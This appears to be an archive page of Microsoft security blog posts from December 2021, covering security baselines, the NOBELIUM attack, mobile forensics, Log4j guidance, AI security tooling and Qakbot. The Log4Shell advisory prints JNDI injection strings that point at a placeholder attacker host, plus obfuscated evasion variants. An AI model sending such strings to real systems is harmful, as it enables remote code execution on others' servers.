Archive

Archive for December, 2021

Azure App Service Linux source repository exposure

December 22nd, 2021 No comments

MSRC was informed by Wiz.io, a cloud security vendor, under Coordinated Vulnerability Disclosure (CVD) of an issue where customers can unintentionally configure the .git folder to be created in the content root, which would put them at risk for information disclosure. This, when combined with an application configured to serve static content, makes it possible …

Azure App Service Linux source repository exposure Read More »

Categories: Uncategorized Tags:

Security baseline for Windows 10, version 21H2

December 20th, 2021 No comments

We are pleased to announce the release of the Windows 10, version 21H2 security baseline package!


 


Please download the content from the Microsoft Security Compliance Toolkit, test the recommended configurations, and customize / implement as appropriate.


 


This Windows 10 feature update brings very few new policy settings. One setting has been added for this release for printer driver installation restrictions (which was also added to the Windows 11 release). Additionally, all Microsoft Edge Legacy settings have been removed.


 


Restrict Driver Installations


In July a Knowledge Base article and subsequent patch was released for CVE-2021-34527, more commonly known as “PrintNightmare”. We have added a new setting to the MS Security Guide (Administrative Templates\Printers\Limits print driver installation to Administrators) and enforced the enablement.  Note this setting was previously a custom setting in SecGuide.admx/l and has since moved inbox.


 


Microsoft Edge Legacy


Microsoft Edge Legacy (EdgeHTML-based) reached end of support on March 9, 2021 and is not part of Windows 10 21H2. Therefore, the settings that supported it have been removed from the baseline. Going forward, please use the new Microsoft Edge (Chromium-based) baseline, which is on a separate release cadence and available as part of the Microsoft Security Compliance Toolkit.


 


Tamper Protection


While you are enabling the Microsoft Security Baseline, make sure to enable Microsoft Defender for Endpoint’s “Tamper Protection” to add a layer of protection against Human Operated Ransomware.



As a reminder, our security baselines for the endpoint also include Microsoft 365 Apps for Enterprise, which we recently released, as well as Microsoft Edge and Windows Update.


 


Please let us know your thoughts by commenting on this post or via the Security Baseline Community.

Categories: Uncategorized Tags:

The final report on NOBELIUM’s unprecedented nation-state attack

December 15th, 2021 No comments

This is the final post in a four-part series on the NOBELIUM nation-state cyberattack. In December 2020, Microsoft began sharing details with the world about what became known as the most sophisticated nation-state cyberattack in history. Microsoft’s four-part video series “Decoding NOBELIUM” pulls the curtain back on the NOBELIUM incident and how world-class threat hunters from Microsoft and around the industry came together to take on the most sophisticated nation-state attack in history. In this last post, we’ll reflect on lessons learned as covered in the fourth episode of the docuseries. 

Nation-state attacks are a serious and growing threat that organizations of all sizes face. Their primary objective is to gain strategic advantage for their country, such as by stealing secrets, gathering cyber intelligence, conducting reconnaissance, or disrupting operations. These efforts are typically conducted by state-sponsored actors with significant expertise and funding, making them a particularly challenging adversary to defend against.

NOBELIUM, a Russian-linked group, is perhaps best known for the widespread SolarWinds supply chain breach. The incident was part of an even larger and more advanced campaign that had been quietly underway for more than a year. As details of this attack were uncovered, it became clear that it was the most sophisticated nation-state cyberattack in history.

In the final episode of our “Decoding NOBELIUM” series, we provide an after-action report that explores Microsoft’s findings and discusses lessons learned.

NOBELIUM deployed extensive tactics

Let’s start by reviewing the key stages of the attack.

The intrusion

It’s critical to understand how NOBELIUM achieved penetration into environments. Going beyond the supply chain compromise, this actor also deployed many common-place tactics like password spraying or exploiting the vulnerabilities of unpatched devices to steal credentials and gain access to systems. Ultimately, NOBELIUM leveraged a wide range of techniques to achieve penetration and adapted their toolset to each victim’s unique environment in order to achieve their goals.

The exploitation

Once NOBELIUM had gained entry, they followed the typical pattern for internal reconnaissance: discover the elevated accounts, find out which machines were there, and create a sophisticated map to understand how to reach their targets. They demonstrated extensive knowledge of enterprise environments and cybersecurity systems by evading defenses, masking activities in regular system processes, and hiding malware under many layers of code.

The exfiltration

Armed with an understanding of their target’s environment, NOBELIUM executed their plan—gaining access to their source codes, harvesting emails, or stealing production secrets.

NOBELIUM demonstrated patience and stealth

The NOBELIUM group moved methodically to avoid getting caught. “They were so deliberate and careful about what they did. It wasn’t like a smash and grab, where they came in and just vacuumed up everything and fled,” said Security Analyst Joanne of the Microsoft Digital Security and Resilience (DSR) Security Operations Center (SOC) Hunt Team.

It took time to move undetected through networks, gathering information and gaining access to privileged networks. For example, they disabled organizations’ endpoint detection and response (EDR) solutions from being launched upon system startups. NOBELIUM then waited up to a month for computers to be rebooted on a patch day and took advantage of vulnerable machines that hadn’t been patched.

“The adversary showed discipline in siloing all of the technical indicators that would give up their presence,” said John Lambert, General Manager of the Microsoft Threat Intelligence Center. “Malware was named different things. It was compiled in different ways. The command and control domains they would use differed per victim. As they moved laterally within a network from machine to machine, NOBELIUM took great pains to clean up after each step.”

Preparing for future nation-state attacks

When adversaries take this much care in hiding their activities, it can take the detection of many seemingly benign activities across different vectors pulled together to highlight one overall technique.

“In order to respond to an attack like NOBELIUM, with its scope and breadth and sophistication, you need to have visibility into various entities across your entire digital state,” explains Sarah Fender, Partner Group Program Manager for Microsoft Sentinel. “You need to have visibility into security data and events relating to users and endpoints, infrastructure, on-premises and in the cloud, and the ability to quickly analyze that data.”

NOBELIUM leveraged users and credentials as a critical vector for intrusion and escalation. Identity-based attacks are on the rise. “Once I can authenticate into your environment, I don’t need malware anymore, so that means monitoring behaviors,” says Roberto, Principal Consultant and Lead Investigator for Microsoft’s Detection and Response Team. “Building a profile for when Roberto’s using his machine, he accesses these 25 resources, and he does these kinds of things and he’s never been in these four countries. If I ever see something that doesn’t fit that pattern, I need to alert on it.” 

Bottom line: ensure you are protecting your identities.

Finally, if we’ve learned anything, it’s that we need to take care of our security teams, especially during a cybersecurity incident. 

“Defender fatigue is a real thing,” says Lambert. “You have to be able to invest in those defenders so that they can surge when they need to. Security, like other professions, is not just a job, it’s also a calling. But it also leads to fatigue and exhaustion if the incident drumbeat is too strong. You have to have reserves and plan for that so that you can support your defenders and rest them in between incidents.”

As we prepare for future attacks, it comes down to joining forces. 

“When I think about what this incident means going forward, it certainly reinforces the need for the world to work together on these threats,” explains Lambert. “No one company sees it all and it is very important, especially with sophisticated threats, to be able to work very quickly with lines of trust established. This is not just about companies working together, it’s also about individuals trusting each other, impacted companies, fellow security industry companies, and government institutions.”

How can you protect your organization and defenders?

Learn more in the final episode of our four-part video series “Decoding NOBELIUM,” where security professionals give insights from the after-action report on NOBELIUM. Thanks for joining us for this series and check out the other posts in the series:

Microsoft is committed to helping organizations stay protected from cyberattacks, whether cybercriminal or nation-state. Consistent with our mission to provide security for all, Microsoft will use our leading threat intelligence and a global team of dedicated cybersecurity defenders to partner across the security industry and help protect our customers and the world. Just some recent examples of Microsoft’s efforts to combat nation-state attacks include:

  • The investigation of ongoing targeted activity by NOBELIUM against privileged accounts of service providers to gain access to downstream customers.
  • The September 2021 discovery and investigation of a NOBELIUM malware referred to as FoggyWeb.
  • The May 2021 profiling of NOBELIUM’s early-stage toolset of EnvyScout, BoomBox, NativeZone, and VaporRage.
  • Issuing more than 1,600 notifications to more than 40 IT companies alerting them to targeting by several Iranian threat groups (from May through October, those threats were 10 to 13 percent of the total notifications).
  • The seizure of websites operated by NICKEL, a China-based threat actor, and the disruption of ongoing attacks targeting organizations in 29 countries.
  • The investigation of Iran-linked DEV-0343, conducting password spraying focused on United States and Israeli defense technology companies, Persian Gulf ports of entry, and global maritime transportation companies with a business presence in the Middle East.

For immediate support, visit the Microsoft Security Response Center (MSRC) where you can report an issue and get guidance from the latest security reports and Microsoft Security Response Center blog posts.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post The final report on NOBELIUM’s unprecedented nation-state attack appeared first on Microsoft Security Blog.

Security baseline for Microsoft 365 Apps for enterprise, v2112

December 14th, 2021 No comments

Microsoft is pleased to announce the release of the recommended security configuration baseline settings for Microsoft 365 Apps for enterprise, version 2112. Please download the content from the Microsoft Security Compliance Toolkit, test the recommended configurations, and implement as appropriate.


 


This baseline builds on the previous Office baseline we released April 2021. The highlights of this baseline include:



  • Excel policy name change to “Macro Notification Settings” from “VBA Macro Notification Settings”. This was done in conjunction with adding the new policy to block Excel 4.0 macros.

  • Expanded macro protection isolating and blocking Excel 4.0 macros. The Excel team created a new policy: “Prevent Excel from running XLM macros”. In the Trust Center this is an additional check box in the Macros Tab. We are also blocking Excel 4.0 macros by default in Office version 2109 or later, starting with Current Channel (with other channels at a later time).

  • New attributes added to Administrative Template files (ADMX/ADML) for Microsoft 365 Apps for enterprise to easily identify Security baselines and the area the policies are helping to protect.

  • Name changes of GPOs included in this baseline – to align with Microsoft branding requirements we have modified the names of the GPOs included in this baseline, see below.


 


The recommended settings in this security baseline correspond with the administrative templates version 5263, released December 13, 2021.


 


Deployment options for the baseline


IT Admins can apply baseline settings in different ways. Depending on the method(s) chosen different registry keys will be written and they will be observed in order of precedence: Office cloud policies will override ADMX/Group Policies which will override end user settings in the Trust Center.


 



  • Cloud policies may be deployed with the Office cloud policy service for policies in HKCU.  Cloud policies apply to a user on any device accessing files in Office apps with their AAD account. In Office cloud policy service, you can filter the Recommendation column to display the current Security Baselines, and within each policy’s context pane the recommended baseline setting is set by default. Learn more about Office cloud policy service.

  • ADMX policies may be deployed with Microsoft Endpoint Manager (MEM) for both HKCU and HKLM policies. These settings are written to the same place as Group Policy, but managed from the cloud in MEM. There are two methods to create and deploy policy configurations: Administrative templates or the settings catalog.

  • Group Policy may be deployed with on premise AD DS to deploy Group Policy Objects (GPO) to users and computers. The downloadable baseline package includes importable GPOs, a script to apply the GPOs to local policy, a script to import the GPOs into Active Directory Group Policy, updated custom administrative template (SecGuide.ADMX/L) file, all the recommended settings in spreadsheet form and a Policy Analyzer rules file.


 


GPOs included in the baseline


Most organizations can implement the baseline’s recommended settings without any problems. However, there are a few settings that will cause operational issues for some organizations. We’ve broken out related groups of such settings into their own GPOs to make it easier for organizations to add or remove these restrictions as a set. The local-policy script (Baseline-LocalInstall.ps1) offers command-line options to control whether these GPOs are installed.


 


Note: Name change to “MSFT Microsoft 365 Apps v2112”. This GPO set includes “Computer” and “User” GPOs that represent the “core” settings that should be trouble free, and each of these potentially challenging GPOs:


 



  • “DDE Block – User” is a User Configuration GPO that blocks using DDE to search for existing DDE server processes or to start new ones.

  • “Legacy File Block – User” is a User Configuration GPO that prevents Office applications from opening or saving legacy file formats.

  • “Legacy JScript Block – Computer” disables the legacy JScript execution for websites in the Internet Zone and Restricted Sites Zone.

  • “Require Macro Signing – User” is a User Configuration GPO that disables unsigned macros in each of the Office applications.


 


Disable Excel 4 Macros


A new Excel policy is available to block Excel 4.0 macros separate from VBA macros:  “Prevent Excel from running XLM macros”. With this new macro policy, choosing to disable XLM macros will no longer impact VBA macro settings. The setting is also available in the Trust Center for end users to modify. Therefore, to prevent end users changing the setting we recommend enabling the policy “Prevent Excel from running XLM macros”.


 


AREA and AREACATEGORY attributes in ADMX Templates


A new set of attributes has been introduced to allow policies to be tagged for specific scenarios such as Security Baseline, Security, Privacy, Accessibility, etc. These tags will power upcoming features to help admins identify policies by area for easier adoption. You’ll see these new columns in the spreadsheet documentation of the security baselines.


 


Example:


    <policy name=”L_AllowDDE” class=”User” Area=”Security Baseline” AreaCategory=”DDE” displayName=”$(string.L_AllowDDE)” explainText=”$(string.L_AllowDDEExplain)” presentation=”$(presentation.L_AllowDDE)” key=”software\policies\microsoft\office\16.0\word\security”>


 


When can I expect the next release of Microsoft 365 Apps for enterprise Security Baseline?


In the future, we’ll plan to release new security baselines every 6 months, usually in June and December.


 


If you have questions or issues, please let us know via the Security Baseline Community or this post.


 

Categories: Uncategorized Tags:

Researcher Spotlight: Dr. Nestori Syynimaa’s Constant Mission Protecting Identities

December 14th, 2021 No comments

“When you find the things I find, they really matter. They affect everybody’s security.” Currently streaming: The Expanse and Lost in Space on Netflix Currently listening to: Amorphis, Architects, and Killswitch Engage Currently running: 130 kilometers (or ~80 miles) a month Currently playing: Floorball (a type of floor hockey with five players and a goalkeeper) …

Researcher Spotlight: Dr. Nestori Syynimaa’s Constant Mission Protecting Identities Read More »

Categories: BlueHat Tags:

Your guide to mobile digital forensics

December 14th, 2021 No comments

The security community is continuously changing, growing, and learning from each other to better position the world against cyber threats. In the latest Voice of the Community blog series post, Microsoft Security Product Marketing Manager Natalia Godyla talks with Cellebrite Senior Director of Digital Intelligence Heather Mahalik. In this blog post, Heather talks about digital forensics, from technical guidance to hiring best practices, with a special focus on mobile forensics. 

Natalia: What is digital forensics and why is it important?

Heather: Cybersecurity is more about prevention, protection, and defense. Digital forensics is the response and is typically triggered by an incident. There are some people who say, “Oh no, we do things proactively.” For example, someone might be traveling to a foreign country, and they want to know if something is going to land on their mobile device. You may proactively scan or carry out forensics on that device before and then see what changed after. That would be a rare situation, but usually, it’s when an incident occurs and you need someone to come in and clean it up.

Natalia: How does mobile forensics differ from other forms of forensics?

Heather: Mobile forensics is fast-moving. Mobile device companies update devices and operating systems all the time. The applications we rely upon are updating. When I did digital forensics as a whole—computers, PC, and macOS—the updates weren’t the same as on mobile. There are also levels and encryption that keep us out, and they are different on every mobile device.

When I learned forensics in 2002, it was: “Here’s a hard drive. This is how the data is laid out. This is what you can expect every single time.” You can never expect the same thing every single time with mobile forensics. In every single case you work on, there will be a variance that requires you to learn something new. I love it because I can’t get bored, but it’s also frustrating. It’s so hard to say, “OK, I’m now a master.” You’re never a master of mobile forensics.

Natalia: What does the workflow for mobile forensics look like?

Heather: I always use the terminology cradle-to-grave forensics—you get it when it first starts, and you put it to rest with your report. If you are doing beginning to end, you’re starting with the mobile device in front of you. One thing to consider is remote access, which can be good and bad. Some of the third-party applications require that a device connects to a network to extract information, but that goes against everything you’ll read about forensics. Isolate from a network. Make sure it’s protected. No connections to the device.

The next phase is to acquire the data from the device, and there are many different tools and methods to do that. You need as much access to that file system as you can get because we need all the logs in the background to do a thorough analysis.

After that, I recommend triage. Consider how you’re going to solve the who, what, where, when, why, and how. Are there any clues that you can get immediately from that device? Then dive in deeper with your forensics and analytical tools.

Natalia: What’s the best way to approach an investigation?

Heather: There was a study where they had people work on the same case in different ways. One person was given the whole case scenario—“This is what we think happened”—and another person was just asked specific questions—“Please find these things.” In the middle is the best—“We are trying to solve for X. These are the questions that I think will help us get to X. Can you answer them?”

If other people start shooting holes in your report, you need additional evidence, and that’s usually what will force validation. If someone sees that report and they’re not fighting it, it’s because they know that it’s the truth.

Natalia: What common mistakes do forensics investigators make?

Heather: The biggest mistake I see is trusting what a forensics tool reports without validating the evidence. Think about your phone. Did the artifact sync from a computer that your roommate is using and now it’s on your phone? Is it a suggestion, like when you’re typing into a search browser and it makes recommendations? Is it a shared document that you didn’t edit? There are all these considerations of how the evidence got there. You should not go from extracting a phone to reporting. There is a big piece in between. Verify and validate with more than one method and tool before you put it in your report.

Natalia: Are forensics investigation teams typically in-house or consultants?

Heather: There could be both. It depends on how frequently you need someone. I’ve been a consultant to big companies that offer incident response services. They don’t typically see mobile incidents, so they wanted me there just in case. If you do hire one person, don’t expect them to be a master of mobile, macOS, PC, and network security.

If you’re doing incident response investigations, you want someone with incident response, memory forensics, and network forensics experience. In the environments I’ve been in, we need dead disk forensics experience, so we need people who are masters of PC, macOS, and mobile because it’s usually data at rest that’s collected. It’s more terrorism and crime versus ransomware and hacking. You must weigh what you’re investigating, and if it’s all those things—terrorism/crime and ransomware/hacking —you need a forensics team because it’s rare that people are on both sides of that spectrum and really good at both.

Natalia: What advice would you give a security leader looking to hire and manage a forensics team?

Heather: When hiring people, question what they know. I’ve worked at many places where I was on the hiring team, and someone would say, “If they have X certification, they can skip to the next level.” Just because I don’t have a certification doesn’t mean I don’t know it. You also don’t know how someone scored. Make sure it’s a good cultural fit as well because with what we do in forensics, you need to rely on your teammates to get you through some of the things you come across.

When it comes to skill-building, I recommend encouraging your team to play in any free Capture the Flag provided by vendors, like SANS Institute. An employer could even put people together and say, “I want you three to work together and see how you do.” Letting your employees take training that inspires them and makes them want to keep learning is important.

Natalia: I appreciate you mentioning the difficulties of the role. It’s important to openly discuss the mental health challenges of being an investigator. How do you handle what you find in your investigations? And how do tools, like DFIR review, help?

Heather: I lean on my coworkers a lot. Especially if it’s a big case—like a missing person, someone going to trial, or someone losing their job—it’s a lot of pressure on you. You need people who understand that pressure and help you leave it behind because if it’s constantly going through your mind, it’s not healthy.

Digital Forensics and Incident Response (DFIR) review came out about two years ago. I have put many of my whitepapers and research through the deeper review process because it’s a group of other experts that validate your work. That makes a lot of organizations feel comfortable. “I know this device was wiped on X date and someone tried to cover their tracks because Heather wrote a paper, and it was peer-reviewed, and it got the gold seal.” That relieves a lot of pressure.

Learn more

Explore Microsoft’s technical guidance to help build and implement cybersecurity strategy and architecture.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Your guide to mobile digital forensics appeared first on Microsoft Security Blog.

Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation

Microsoft’s unified threat intelligence team, comprising the Microsoft Threat Intelligence Center (MSTIC), Microsoft 365 Defender Threat Intelligence Team, RiskIQ, and the Microsoft Detection and Response Team (DART), among others, have been tracking threats taking advantage of CVE-2021-44228, a remote code execution (RCE) vulnerability in Apache Log4j 2 referred to as “Log4Shell”.

The vulnerability allows unauthenticated remote code execution, and it is triggered when a specially crafted string provided by the attacker through a variety of different input vectors is parsed and processed by the Log4j 2 vulnerable component. For more technical and mitigation information about the vulnerability, please read the Microsoft Security Response Center blog.

The bulk of attacks that Microsoft has observed at this time have been related to mass scanning by attackers attempting to thumbprint vulnerable systems, as well as scanning by security companies and researchers. An example pattern of attack would appear in a web request log with strings like the following:

${jndi:ldap://[attacker site]/a}

An attacker performs a https request against their target system which generates a log using Log4j that leverages JNDI to perform a request to the attacker-controlled site. The vulnerability will then be to causes the exploited process to reach out to the site and execute the payload. In many observed attacks, the attacker-owned parameter is a DNS logging system, intended to log a request to the site to fingerprint the vulnerable systems.

The specially crafted string that enables execution of this vulnerability can be identified through several components. The string contains “jndi”, which refers to the Java Naming and Directory Interface. Following this, the protocol, such as “ldap”, “ldaps”, “rmi”, “dns”, “iiop”, or “http”, precedes the attacker domain.

As security teams work to detect the exploitation of the vulnerability, attackers have added obfuscation to these requests to evade detections based on request patterns. We’ve seen things like running a lower or upper command within the exploitation string ({jndi:${lower:l}${lower:d}a${lower:p}) and even more complicated obfuscation attempts (${${::-j}${::-n}${::-d}${::-i}) that are all trying to bypass string-matching detections.

At the time of publication, the vast majority of observed activity has been scanning, but exploitation and post-exploitation activities have also been observed. Based on the nature of the vulnerability, once the attacker has full access and control of an application, they can perform a myriad of objectives. Microsoft has observed activities including installing coin miners, Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems. 

Microsoft security solutions help protect against and detect attacks

Microsoft 365 Defender

Turn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block the majority of new and unknown variants. Microsoft Defender Antivirus detects components and behaviors related to this threat as the following detection names:

On Windows:

  • Trojan:Win32/Capfetox.AA – detects attempted exploitation on the attacker machine
  • Trojan:Win64/DisguiseXMRigMiner – detection for coin mining post exploitation payloads
  • HackTool:Win32/Capfetox.A!dha – detects attempted exploitation on the attacker machine
  • VirTool:Win64/CobaltSrike.A, TrojanDropper:PowerShell/Cobacis.A – detects Cobalt Strike Beacon loaders

On Linux:

  • Trojan:Linux/SuspectJavaExploit.A, Trojan:Linux/SuspectJavaExploit.B, Trojan:Linux/SuspectJavaExploit.C – blocks Java processes downloading and executing payload through output redirection
  • Trojan:Linux/BashMiner.A – detects post-exploitation cryptocurrency miner
  • Exploit:Linux/CVE-2021-44228.A, Exploit:Linux/CVE-2021-44228.B – detects exploitation

Users of Microsoft Defender for Endpoint can turn on the following attack surface reduction rule to block or audit some observed activity associated with this threat.

  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Due to the broad network exploitation nature of vectors through which this vulnerability can be exploited and the fact that applying mitigations holistically across large environments will take time, we encourage defenders to look for signs of post-exploitation rather than fully relying on prevention. Observed post exploitation activity such as coin mining, lateral movement, and Cobalt Strike are detected with behavior-based detections.

Alerts with the following titles in the Security Center can indicate threat activity on your network:

  • Possible Log4j exploitation
  • Suspicious script launched (detects multiple behaviors, including suspicious command launch post exploitation)

Microsoft 365 Defender advanced hunting queries

To locate possible exploitation activity, run the following queries:

Possible Malicious Indicators in Cloud Application Events

This query is designed to flag exploitation attempts for cases where the attacker is sending the crafted exploitation string using vectors such as User-Agent, Application or Account name. The hits returned from this query are most likely unsuccessful attempts, however the results can be useful to identity attackers’ details such as IP address, Payload string, Download URL, etc.

CloudAppEvents

| where Timestamp > datetime(“2021-12-09”)

| where UserAgent contains “jndi:” 

or AccountDisplayName contains “jndi:”

or Application contains “jndi:”

or AdditionalFields contains “jndi:”

| project ActionType, ActivityType, Application, AccountDisplayName, IPAddress, UserAgent, AdditionalFields

Possible vulnerable applications via M365D Threat and Vulnerability Management

This query looks for possibly vulnerable applications using the affected Log4j component. Please triage the results to determine applications and programs that may need to be patched and updated.

DeviceTvmSoftwareInventory

| where SoftwareName contains “log4j”

| project DeviceName, SoftwareName, SoftwareVersion

Screenshot of Threat and Vulnerability Management

Surfacing possibly vulnerable devices using Advanced Hunting

Finding possible vulnerable applications and devices via software inventory

Customers can also surface possibly vulnerable devices via Threat and Vulnerability Management capability in Microsoft Defender for Endpoint as part of Microsoft 365 Defender.

Screenshot of software inventory

Surfacing possibly vulnerable devices using Software Inventory

Microsoft Defender for Cloud

The following are the current Microsoft Defender for Cloud detections:

On Windows

  • Detected obfuscated command line
  • Suspicious use of PowerShell detected

On Linux

  • Suspicious file download
  • Possible Cryptocoinminer download detected
  • Process associated with digital currency mining detected
  • Potential crypto coin miner started

Microsoft Sentinel queries

Possible exploitation of Apache log4j component detected

This hunting query looks for possible attempts to exploit a remote code execution vulnerability in the Log4j component of Apache.  Attackers may attempt to launch arbitrary code by passing specific commands to a server, which are then logged and executed by the Log4j component.

Crypto currency miners EXECVE

This query hunts through EXECVE syslog data generated by AUOMS to find instances of crypto currency miners being downloaded.  It returns a table of suspicious command lines.

Microsoft Sentinel also provides a CVE-2021-44228 Log4Shell Research Lab Environment for testing the vulnerability: https://github.com/OTRF/Microsoft-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-44228-Log4Shell

RiskIQ EASM and Threat Intelligence

View Threat Intelligence on this CVE, including mitigation guidance and IOCs, here. Both Community users and enterprise customers can search within the threat intelligence portal for data about potentially vulnerable components exposed to the Internet. For example, it’s possible to surface all observed instances of Apache or Java, including specific versions. Leverage this method of exploration to aid in understanding the larger Internet exposure, while also filtering down to what may impact you. 

For a more automated method, registered users can view their attack surface to understand tailored findings associated with their organization. Note, you must be registered with a corporate email and the automated attack surface will be limited. Digital Footprint customers can immediately understand what may be vulnerable and act swiftly and resolutely using the Attack Surface Intelligence Dashboard Log4J Insights tab. 

Azure Firewall Premium 

Customers using Azure Firewall Premium have enhanced protection from the Log4j RCE CVE-2021-44228 vulnerability and exploit. Azure Firewall premium IDPS (Intrusion Detection and Prevention System) provides IDPS inspection for all east-west traffic and outbound traffic to internet. The vulnerability rulesets are continuously updated and include CVE-2021-44228 vulnerability for different scenarios including UDP, TCP, HTTP/S protocols since December 10th, 2021. Below screenshot shows all the scenarios which are actively mitigated by Azure Firewall Premium.

Screenshot of Azure Firewall Premium

Recommendation: Customers are recommended to configure Azure Firewall Premium with both IDPS Alert & Deny mode and TLS inspection enabled for proactive protection against CVE-2021-44228 exploit.  

Customers using Azure Firewall Standard can migrate to Premium by following these directions. Customers new to Azure Firewall premium can learn more about Firewall Premium.

Indicators of compromise (IOCs)

Microsoft Threat Intelligence Center (MSTIC) has provided a list of IOCs related to this attack and will update them with new indicators as they are discovered:  https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Log4J_IPIOC_Dec112021.yaml

Microsoft will continue to monitor this dynamic situation and will update this blog as new threat intelligence and detections/mitigations become available.

The post Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation appeared first on Microsoft Security Blog.

Microsoft’s Response to CVE-2021-44228 Apache Log4j 2

December 12th, 2021 No comments

Published on: 2021 Dec 11 SUMMARY Microsoft is investigating the remote code execution vulnerability (CVE-2021-44228) related to Apache Log4j (a logging tool used in many Java-based applications) disclosed on 9 Dec 2021. As we and the industry at large continue to gain a deeper understanding of the impact of this threat, we will publish technical …

Microsoft’s Response to CVE-2021-44228 Apache Log4j 2 Read More »

Categories: Uncategorized Tags:

Best practices for AI security risk management

December 9th, 2021 No comments

Today, we are releasing an AI security risk assessment framework as a step to empower organizations to reliably audit, track, and improve the security of the AI systems. In addition, we are providing new updates to Counterfit, our open-source tool to simplify assessing the security posture of AI systems.

There is a marked interest in securing AI systems from adversaries. Counterfit has been heavily downloaded and explored by organizations of all sizes—from startups to governments and large-scale organizations—to proactively secure their AI systems. From a different vantage point, the Machine Learning Evasion Competition we organized to help security professionals exercise their muscles to defend and attack AI systems in a realistic setting saw record participation, doubling the amount of participants and techniques than the previous year.

This interest demonstrates the growth mindset and opportunity in securing AI systems. But how do we harness interest into action that can raise the security posture of AI systems? When the rubber hits the road, how can a security engineer think about mitigating the risk of an AI system being compromised?

AI security risk assessment framework

The deficit is clear: according to Gartner® Market Guide for AI Trust, Risk and Security Management published in September 2021, “AI poses new trust, risk and security management requirements that conventional controls do not address.1 To address this gap, we did not want to invent a new process. We acknowledge that security professionals are already overwhelmed. Moreover, we believe that even though the attacks on AI systems pose a new security risk, current software security practices are relevant and can be adapted to manage this novel risk. To that end, we fashioned our AI security risk assessment in the spirit of the current security risk assessment frameworks.

We believe that to comprehensively assess the security risk for an AI system, we need to look at the entire lifecycle of system development and deployment. An overreliance on securing machine learning models through academic adversarial machine learning oversimplifies the problem in practice. This means, to truly secure the AI model, we need to account for securing the entire supply chain and management of AI systems.

Through our own operations experience in building and red teaming models at Microsoft, we recognize that securing AI systems is a team sport. AI researchers design model architectures. Machine learning engineers build data ingestion, model training, and deployment pipelines. Security architects establish appropriate security policies. Security analysts respond to threats. To that end, we envisioned a framework that would involve participation from each of these stakeholders.

“Designing and developing secure AI is a cornerstone of AI product development at Boston Consulting Group (BCG). As the societal need to secure our AI systems becomes increasingly apparent, assets like Microsoft’s AI security risk management framework can be foundational contributions. We already implement best practices found in this framework in the AI systems we develop for our clients and are excited that Microsoft has developed and open sourced this framework for the benefit of the entire industry.”—Jack Molloy, Senior Security Engineer, BCG

As a result of our Microsoft-wide collaboration, our framework features the following characteristics:

  1. Provides a comprehensive perspective to AI system security. We looked at each element of the AI system lifecycle in a production setting: from data collection, data processing, to model deployment. We also accounted for AI supply chains, as well as the controls and policies with respect to backup, recovery, and contingency planning related to AI systems.
  2. Outlines machine learning threats and recommendations to abate them. To directly help engineers and security professionals, we enumerated the threat statement at each step of the AI system building process. Next, we provided a set of best practices that overlay and reinforce existing software security practices in the context of securing AI systems.
  3. Enables organizations to conduct risk assessments. The framework provides the ability to gather information about the current state of security of AI systems in an organization, perform gap analysis, and track the progress of the security posture.

Updates to Counterfit

To help security professionals get a broader view of the security posture of the AI systems, we have also significantly expanded Counterfit. The first release of Counterfit wrapped two popular frameworks—Adversarial Robustness Toolbox (ART) and TextAttack—to provide evasion attacks against models operating on tabular, image, and textual inputs. With the new release, Counterfit now features the following:

  • An extensible architecture that simplifies integration of new attack frameworks.
  • Attacks that include both access to the internals of the machine learning model and with just query access to the machine learning model.
  • Threat paradigms that include evasion, model inversion, model inference, and model extraction.
  • In addition to algorithmic attacks provided, common corruption attacks through AugLy are also included.
  • Attacks are supported for models that accept tabular data, images, text, HTML, or Windows executable files as input.

Learn More

These efforts are part of broader investment at Microsoft to empower engineers to securely develop and deploy AI systems. We recommend using it alongside the following resources:

  • For security analysts to orient to threats against AI systems, Microsoft, in collaboration with MITRE, released an ATT&CK style Adversarial Threat Matrix complete with case studies of attacks on production machine learning systems, which has evolved into MITRE ATLAS.
  • For security incident responders, we released our own bug bar to systematically triage attacks on machine learning systems.
  • For developers, we released threat modeling guidance specifically for machine learning systems.
  • For engineers and policymakers, Microsoft, in collaboration with Berkman Klein Center at Harvard University, released a taxonomy documenting various machine learning failure modes.
  • For security professionals, Microsoft open sourced Counterfit to help with assessing the posture of AI systems.
  • For the broader security community, Microsoft hosted the annual Machine Learning Evasion Competition.
  • For Azure machine learning customers, we provided guidance on enterprise security and governance.

This is a living framework. If you have questions or feedback, please contact us.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

 


1 Gartner, Market Guide for AI Trust, Risk and Security Management, Avivah Litan, et al., 1 September 2021 GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

The post Best practices for AI security risk management appeared first on Microsoft Security Blog.

A closer look at Qakbot’s latest building blocks (and how to knock them down)

December 9th, 2021 No comments

Multiple Qakbot campaigns that are active at any given time prove that the decade-old malware continues to be many attackers’ tool of choice, a customizable chameleon that adapts to suit the needs of the multiple threat actor groups that utilize it. Since emerging in 2007 as a banking Trojan, Qakbot has evolved into a multi-purpose malware that provides attackers with a wide range of capabilities: performing reconnaissance and lateral movement, gathering and exfiltrating data, or delivering other payloads on affected devices.

Its modular nature allows Qakbot to persist in today’s computing landscape because it enables attackers to pick and choose the “building blocks” they need for each attack chain depending on the network environment the malware lands on. In many cases, the attackers who deliver Qakbot also sell access to affected devices to other threat actors, who use the said access for their own goals. For example, Qakbot infections have been known to lead to human-operated ransomware, including Egregor or Conti. Its impact, therefore, is far-reaching: based on our threat data, recent Qakbot activities are seen in several countries and territories across almost all the continents: Africa, Asia, Europe, and the Americas.

